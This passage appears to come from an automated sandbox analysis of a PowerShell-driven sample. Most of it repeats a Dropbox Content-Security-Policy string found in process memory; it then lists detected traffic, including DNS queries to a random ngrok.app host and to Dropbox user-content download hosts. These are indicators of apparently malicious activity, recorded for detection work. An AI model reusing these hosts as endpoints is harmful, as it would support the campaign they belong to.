https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.2977652206.000001366617D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; img-src https:// data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https://* blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; font-src https://* data: ; base-uri 'self' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-ancestors 'self' https://*.dropbox.com equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: api-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; img-src https:// data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https://* blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.2977652206.0000013666195000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; base-uri 'self' ; media-src https:// blob: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-ancestors 'self' https://.dropbox.com ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https://* data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; media-src https://* blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; base-uri 'self' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.2977652206.00000136661EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; base-uri 'self' ; media-src https:// blob: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; img-src https:// data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https://* blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.2977652206.00000136661E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; base-uri 'self' ; media-src https:// blob: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; font-src https://* data: ; base-uri 'self' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-ancestors 'self' https://*.dropbox.com equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ult-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; font-src https://* data: ; base-uri 'self' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-ancestors 'self' https://*.dropbox.com equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: uc933af44167adf8e757221e8737.dl.dropboxusercontent.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Content-Length: 207Content-Type: text/html; charset=utf-8Date: Tue, 17 Dec 2024 11:14:23 GMTServer: Werkzeug/3.0.3 Python/3.12.8Connection: close

Source: powershell.exe, 00000016.00000002.2977652206.00000136678E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app
Source: powershell.exe, 00000004.00000002.2528259236.00000225D4860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftX
Source: svchost.exe, 0000000B.00000002.3438231676.000001C464000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: svchost.exe, 0000000B.00000003.2342168560.000001C463E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000004.00000002.2471028707.00000225BD28E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000004.00000002.2520099694.00000225CC7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://permanently-removed.invalid/
Source: msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://permanently-removed.invalid/).
